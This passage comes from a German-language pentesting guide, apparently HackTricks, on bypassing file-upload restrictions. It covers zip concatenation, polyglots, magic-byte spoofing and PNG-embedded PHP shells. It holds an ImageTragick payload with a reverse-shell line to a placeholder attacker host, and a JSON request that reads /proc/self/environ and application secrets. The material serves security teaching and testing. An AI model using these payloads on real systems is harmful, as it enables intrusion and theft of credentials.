php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Missbrauchsmuster

  • Erstelle ein harmloses Archiv (erlaubter Typ, z. B. PDF) und ein zweites Archiv, das eine blockierte Erweiterung enthält (z. B. shell.php).
  • Hänge sie zusammen: cat benign.zip evil.zip > combined.zip.
  • Wenn der Server mit einem Parser validiert (sieht benign.zip), aber mit einem anderen entpackt (verarbeitet evil.zip), landet die blockierte Datei im Extraktionspfad.

ImageTragic

Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Schwachstelle (ImageMagick, 7.0.1-1) auszunutzen (aus dem exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Einbetten einer PHP-Shell in PNG

Das Einbetten einer PHP-Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungs-Operationen effektiv umgehen. Die Funktionen imagecopyresized und imagecopyresampled von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern bzw. Resampeln von Bildern verwendet werden. Dass die eingebettete PHP-Shell von diesen Operationen unbeeinflusst bleiben kann, ist für bestimmte Anwendungsfälle ein erheblicher Vorteil.

Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und potenzieller Anwendungen, findet sich im folgenden Artikel: “Encoding Web Shells in PNG IDAT chunks”.

Mehr Informationen unter: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot-Dateien fungieren als vielseitige Werkzeuge in der Cybersecurity, indem sie als Chamäleons gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein GIFAR, ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf diese Kombination; auch Paarungen wie GIF und JS oder PPT und JS sind möglich.

Der Hauptnutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Üblich ist in vielen Anwendungen, nur bestimmte Dateitypen für Uploads zuzulassen — etwa JPEG, GIF oder DOC — um das Risiko potenziell gefährlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot kann jedoch, indem es die Strukturkriterien mehrerer Dateitypen erfüllt, diese Beschränkungen unauffällig umgehen.

Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellt, beim Upload am Dateiendungs-Policy der Plattform scheitern. Wenn das System sehr strikt bei erlaubten Extensions ist, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.

Mehr Informationen unter: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Gültige JSONs hochladen, als wären es PDF-Dateien

Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man sie als PDF falsch deklariert (Techniken aus diesem Blogpost):

  • mmmagic library: Solange die %PDF Magic-Bytes in den ersten 1024 Bytes vorhanden sind, gilt die Datei als PDF (Beispiel im Artikel).
  • pdflib library: Füge ein gefälschtes PDF-Format in ein Feld der JSON ein, sodass die Bibliothek denkt, es sei ein PDF (Beispiel im Artikel).
  • file binary: Es kann bis zu 1048576 Bytes einer Datei lesen. Erstelle einfach eine JSON, die größer ist als das, sodass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb der JSON den Anfangsteil einer echten PDF ein — das Tool wird denken, es sei eine PDF.

Content-Type-Verwirrung zu arbitrary file read

Einige Upload-Handler vertrauen dem geparsten Request-Body (z. B. context.getBodyData().files) und kopieren später die Datei von file.filepath, ohne zuvor Content-Type: multipart/form-data durchzusetzen. Wenn der Server application/json akzeptiert, kannst du ein gefälschtes files-Objekt liefern, das filepath auf jeden lokalen Pfad zeigt, und so den Upload-Flow in ein arbitrary file read-Primitive verwandeln.

Example POST against a form workflow returning the uploaded binary in the HTTP response:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Das Backend kopiert file.filepath, sodass die Antwort den Inhalt dieses Pfads zurückgibt. Typische Abfolge: /proc/self/environ lesen, um $HOME zu erfahren, dann $HOME/.n8n/config für Keys und $HOME/.n8n/database.sqlite für Benutzer-Identifikatoren.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks